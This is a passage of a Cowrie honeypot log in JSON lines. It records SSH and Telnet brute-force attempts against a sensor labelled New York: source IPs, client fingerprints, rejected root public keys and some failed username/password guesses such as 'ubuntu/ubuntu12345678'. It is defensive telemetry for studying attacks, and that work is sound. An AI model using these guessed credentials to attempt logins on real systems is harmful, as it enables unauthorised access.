ea:06:d0:d3:21:8d:b5:70:4c:08:72:7c:98:0a:3f:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:18.697216Z","src_ip":"91.208.184.122","session":"15b53cea9913","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:06:d0:d3:21:8d:b5:70:4c:08:72:7c:98:0a:3f:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDF5PJ8T5eU2pmwUR1F3cQTmIEl5+on4/O5dZxoOTc3m3fayB6ZAFnIlNmz6uGtfb50Zezmuguv2zjBHjdxtING4iVr0JGklsfaUTEXYH8sF5yPeSqGDhhtyedaoSWAAYS3kMTPqCatmCep2wQOhmeuJFQuCLCSqvDBCD1x3C4fuhGu64vvavnUb2q3CR+tu4+xDGvaPyxDZ7zppQjDFBtE9JsrihJhN0dwCdERe9ZV9cjlEC0Hj+5WnkleIGXD7a3zbiC2TYLMpHgWFUwSkabgjWrGWiyYdssoxUvQ1pgdnI5XaPz8xdQOujWglgsWoSbc6XLdjwQrRSDep9/HgB2j/bfQnZwt4Preeq4nJowxtRi9cG6teYoyF1/2A1MQWqW+ATW7zrj+I/W4O/KjkJqvhIKWiU22UIL68NbTQ5flK71PF5FkKUUmzgLdzf0NWcRXjeHxxeERY5BqJUEfl7f18iy17o4222nnyhMIQWDZeksCBkTgtEXWVQsFglLiJbbLoideOIj65Z6Bkau2Bl/xR1bIS7ZXYyyeE++zj4+IuFyThC8YzPgOHQOwId13iMai7A8lXS/xpmxTOeqVsGJwwni8pcanEXP4X9qqFWOVanP2BoluRvbJF/5m7Oy7Mb4X9hsBAdVWsP6wOUQTGIsJUk5Nag4Z8RMGebcUQkuQQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:18.702857Z","src_ip":"91.208.184.122","session":"15b53cea9913","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:fa:74:6a:ba:4d:6c:34:4d:88:ee:54:cc:b3:8c:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3R84ryd4jkBll04sfpmaLVwvHgNtHkzho1sVIhyZA51iusitccFpQ5BsCc6KOscNc4gxIdhDhMNvIJZ9D0/m73MG6vm8ZSLyPxzUwMjMyYU6BI9jafVXofyKC3Ilu+YzYn3iwMLhz1KbACly7oEMB8vI3JpgO0VE0+1BrRZgyIWwBuFbCTZ6o977T86/BqLMVv1IS9SAg0Rwr3Z0Qky6yxAbjhZhajpdvNCcMqJ/Qu+20XLkVvXqHab4EkZbO6IYtuphex/sJYGCWAv153yELCK/nNqqagYPhn/lcZLXolsKCyTIk5vO1eFiaqzPD74Iy6lRF2ba0NmARZoV3LO9p6jFKDZCKKoQpuGYwJJQblfDZOxt5NL3PpP8VhEZ1Atjk40qd7BIGuYinaySPL03RtmITpVA/AxI7taoCuVo9pPz/pUGYjSlqRu1dsiFc+m6QixpQkGXsQJlSW3vzliHO/dxdb+cO/xEvFyPpaz41X6+4Tqc5GwSsKZuJx3hIyLoFCk1WPB4ItbQPkLTsvHuBsE8um3FPj5TS3FG3KbZqyrzpKPOecMgjW5laldes64d11pE8WqaeiaPvgikHgUDUhg2X00WMkNmf35FnLmejPr3DdTQzUanoJTEIRhZ7r19l98Ps//jDmrFoVWGIVwCo7bD24hSv+dwl9VQL8VkAaw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:fa:74:6a:ba:4d:6c:34:4d:88:ee:54:cc:b3:8c:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:18.923624Z","src_ip":"91.208.184.122","session":"15b53cea9913","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:fa:74:6a:ba:4d:6c:34:4d:88:ee:54:cc:b3:8c:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3R84ryd4jkBll04sfpmaLVwvHgNtHkzho1sVIhyZA51iusitccFpQ5BsCc6KOscNc4gxIdhDhMNvIJZ9D0/m73MG6vm8ZSLyPxzUwMjMyYU6BI9jafVXofyKC3Ilu+YzYn3iwMLhz1KbACly7oEMB8vI3JpgO0VE0+1BrRZgyIWwBuFbCTZ6o977T86/BqLMVv1IS9SAg0Rwr3Z0Qky6yxAbjhZhajpdvNCcMqJ/Qu+20XLkVvXqHab4EkZbO6IYtuphex/sJYGCWAv153yELCK/nNqqagYPhn/lcZLXolsKCyTIk5vO1eFiaqzPD74Iy6lRF2ba0NmARZoV3LO9p6jFKDZCKKoQpuGYwJJQblfDZOxt5NL3PpP8VhEZ1Atjk40qd7BIGuYinaySPL03RtmITpVA/AxI7taoCuVo9pPz/pUGYjSlqRu1dsiFc+m6QixpQkGXsQJlSW3vzliHO/dxdb+cO/xEvFyPpaz41X6+4Tqc5GwSsKZuJx3hIyLoFCk1WPB4ItbQPkLTsvHuBsE8um3FPj5TS3FG3KbZqyrzpKPOecMgjW5laldes64d11pE8WqaeiaPvgikHgUDUhg2X00WMkNmf35FnLmejPr3DdTQzUanoJTEIRhZ7r19l98Ps//jDmrFoVWGIVwCo7bD24hSv+dwl9VQL8VkAaw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:18.929403Z","src_ip":"91.208.184.122","session":"15b53cea9913","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:78:db:42:60:c8:11:52:69:c9:d4:db:a2:b0:a6:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCei4f49NEW05mkUMrzHQu80RrnX8fHMCBxB9KNzYdMTbgIaPTazJ+tAe+iBW3utcyUM6K6yUrPf6DiIvhUWnn9CZ3/jNpHeA8dmww0xFL5yeMm8ixlQlIVYEy4OJugUKNWbr3JcYUyQBnpqWvdY/ELpddU4uAb9VmSMPIBjosqqk0yC5srTNyJ56gYhbppbu/qlK0d3AWqxbx1tpRPkCtbAjUrZSDKAdLHxNfc6KL/7PczYvMtaxUnjdZ5j8QHoGyAjZ8TLQxJhhRpohB5vOEoyZpKZIniHU1a648zXdPlanZWc1yWqgdrogS6bkj191jylwiBBUE87JC9g2MmFmdf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:78:db:42:60:c8:11:52:69:c9:d4:db:a2:b0:a6:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:19.071102Z","src_ip":"91.208.184.122","session":"15b53cea9913","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:78:db:42:60:c8:11:52:69:c9:d4:db:a2:b0:a6:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCei4f49NEW05mkUMrzHQu80RrnX8fHMCBxB9KNzYdMTbgIaPTazJ+tAe+iBW3utcyUM6K6yUrPf6DiIvhUWnn9CZ3/jNpHeA8dmww0xFL5yeMm8ixlQlIVYEy4OJugUKNWbr3JcYUyQBnpqWvdY/ELpddU4uAb9VmSMPIBjosqqk0yC5srTNyJ56gYhbppbu/qlK0d3AWqxbx1tpRPkCtbAjUrZSDKAdLHxNfc6KL/7PczYvMtaxUnjdZ5j8QHoGyAjZ8TLQxJhhRpohB5vOEoyZpKZIniHU1a648zXdPlanZWc1yWqgdrogS6bkj191jylwiBBUE87JC9g2MmFmdf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:19.075148Z","src_ip":"91.208.184.122","session":"15b53cea9913","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:86:94:0f:a7:d4:d0:64:f6:03:21:90:02:53:48:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/D5qXNV19xjR34qDcAL7H8alW8kQ4/PDo7g9DnoPuiY0FSe866p4JnqPqEOHUR44jpNmGINfB2U92qAhNbJXCa8B5gDjkdaS30CHH+V2sANumjluXvwQTWUtS7enzR23hCiETFbyd0dPA6ljfF8PWB+SQRLUK9umZTpzDT/oio8wgoOVcCVnEx/oxeenuBH1Yrv1/NK69P6BrfAm3bDsIrPsGTRfosPEgpDr1rA7CX8exCmETdrCVEg06wyQHL18hu3nS0xgvXwOEm3VLLP3ZS5ZlDyzyfICD/GhJWC5Y8NSPO0pZ2FmUsvqJEuO7Aa2LcNI11O9S+hgXcOVG8Itl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:86:94:0f:a7:d4:d0:64:f6:03:21:90:02:53:48:92","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:19.223152Z","src_ip":"91.208.184.122","session":"15b53cea9913","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:86:94:0f:a7:d4:d0:64:f6:03:21:90:02:53:48:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/D5qXNV19xjR34qDcAL7H8alW8kQ4/PDo7g9DnoPuiY0FSe866p4JnqPqEOHUR44jpNmGINfB2U92qAhNbJXCa8B5gDjkdaS30CHH+V2sANumjluXvwQTWUtS7enzR23hCiETFbyd0dPA6ljfF8PWB+SQRLUK9umZTpzDT/oio8wgoOVcCVnEx/oxeenuBH1Yrv1/NK69P6BrfAm3bDsIrPsGTRfosPEgpDr1rA7CX8exCmETdrCVEg06wyQHL18hu3nS0xgvXwOEm3VLLP3ZS5ZlDyzyfICD/GhJWC5Y8NSPO0pZ2FmUsvqJEuO7Aa2LcNI11O9S+hgXcOVG8Itl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:19.229289Z","src_ip":"91.208.184.122","session":"15b53cea9913","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:c5:00:18:16:aa:ed:14:36:10:2a:be:75:1a:82:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2hyyPLP+E8tsgt3PBR/vgjfMPVu7IJ2xrsukUFWi/lKDKSISnSMQYbHF4eyLpq6a323dV06eeZYAQWhOlSU6ctJ57FS9uz0JvwWEsR+b13HAayl9AiGdBGoEq/D2ey/dyY/23b1Qgwrd1mFhlVxkqMbnN3GbZ2O+GB9Bkgn1SYJmSuJUUan/3PHaabTrx6MK1izFbkK7RU4VIZ4Nj2E6SYLaEVe+ZGiXJ9MKo4p4ixfZWs3CXmkmyad9F6k6vcTBNnJIWwhMEkLI9Ef98YSFOoOesUwaqhpAV0cnmGl5wrxFc3m8jJAEKA5c0fxB1z9H8MWt5HmUSjYhFwY+1J88RQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:c5:00:18:16:aa:ed:14:36:10:2a:be:75:1a:82:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:19.374140Z","src_ip":"91.208.184.122","session":"15b53cea9913","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:c5:00:18:16:aa:ed:14:36:10:2a:be:75:1a:82:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2hyyPLP+E8tsgt3PBR/vgjfMPVu7IJ2xrsukUFWi/lKDKSISnSMQYbHF4eyLpq6a323dV06eeZYAQWhOlSU6ctJ57FS9uz0JvwWEsR+b13HAayl9AiGdBGoEq/D2ey/dyY/23b1Qgwrd1mFhlVxkqMbnN3GbZ2O+GB9Bkgn1SYJmSuJUUan/3PHaabTrx6MK1izFbkK7RU4VIZ4Nj2E6SYLaEVe+ZGiXJ9MKo4p4ixfZWs3CXmkmyad9F6k6vcTBNnJIWwhMEkLI9Ef98YSFOoOesUwaqhpAV0cnmGl5wrxFc3m8jJAEKA5c0fxB1z9H8MWt5HmUSjYhFwY+1J88RQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:19.378597Z","src_ip":"91.208.184.122","session":"15b53cea9913","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:19.522291Z","src_ip":"91.208.184.122","session":"15b53cea9913","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":43566,"dst_ip":"10.17.0.5","dst_port":22,"session":"5012fd6c4b2c","protocol":"ssh","message":"New connection: 103.15.226.202:43566 (10.17.0.5:22) [session: 5012fd6c4b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:22.681059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:22.686440Z","src_ip":"103.15.226.202","session":"5012fd6c4b2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:22.931982Z","src_ip":"103.15.226.202","session":"5012fd6c4b2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"titu","password":"Ahgf3487@rtjhskl854hd47893@#a4nC","message":"login attempt [titu/Ahgf3487@rtjhskl854hd47893@#a4nC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:23.667864Z","src_ip":"103.15.226.202","session":"5012fd6c4b2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:24.915416Z","src_ip":"103.15.226.202","session":"5012fd6c4b2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":25226,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff0e37e2b75a","protocol":"ssh","message":"New connection: 193.24.211.100:25226 (159.203.135.109:22) [session: ff0e37e2b75a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:43.520786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:43.526704Z","src_ip":"193.24.211.100","session":"ff0e37e2b75a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:43.647844Z","src_ip":"193.24.211.100","session":"ff0e37e2b75a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123321","message":"login attempt [user/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:44.075913Z","src_ip":"193.24.211.100","session":"ff0e37e2b75a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:45.190869Z","src_ip":"193.24.211.100","session":"ff0e37e2b75a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.190.32.36","src_port":15964,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7edba3c000e","protocol":"telnet","message":"New connection: 196.190.32.36:15964 (159.203.135.109:23) [session: e7edba3c000e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:10:52.178590Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":54278,"dst_ip":"159.203.135.109","dst_port":22,"session":"6181277d693a","protocol":"ssh","message":"New connection: 152.53.22.186:54278 (159.203.135.109:22) [session: 6181277d693a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:11:02.945021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:11:02.949444Z","src_ip":"152.53.22.186","session":"6181277d693a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:11:03.035565Z","src_ip":"152.53.22.186","session":"6181277d693a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu12345678","message":"login attempt [ubuntu/ubuntu12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:11:03.411013Z","src_ip":"152.53.22.186","session":"6181277d693a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:11:04.500471Z","src_ip":"152.53.22.186","session":"6181277d693a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.609167575836182,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:11:05.787600Z","src_ip":"196.190.32.36","session":"e7edba3c000e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.01474952697754,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:11:49.072573Z","src_ip":"212.55.149.117","session":"6ceaf5704510","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":58748,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9255df54b31","protocol":"telnet","message":"New connection: 212.55.149.117:58748 (10.17.0.5:23) [session: e9255df54b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:11:50.702456Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.22.186","src_port":60458,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2ee89881825","protocol":"ssh","message":"New connection: 152.53.22.186:60458 (159.203.135.109:22) [session: d2ee89881825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:11:51.333487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:11:51.338787Z","src_ip":"152.53.22.186","session":"d2ee89881825","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:11:51.425562Z","src_ip":"152.53.22.186","session":"d2ee89881825","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root12","message":"login attempt [ubuntu/root12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:11:51.801946Z","src_ip":"152.53.22.186","session":"d2ee89881825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:11:52.890906Z","src_ip":"152.53.22.186","session":"d2ee89881825","protocol":"ssh"}
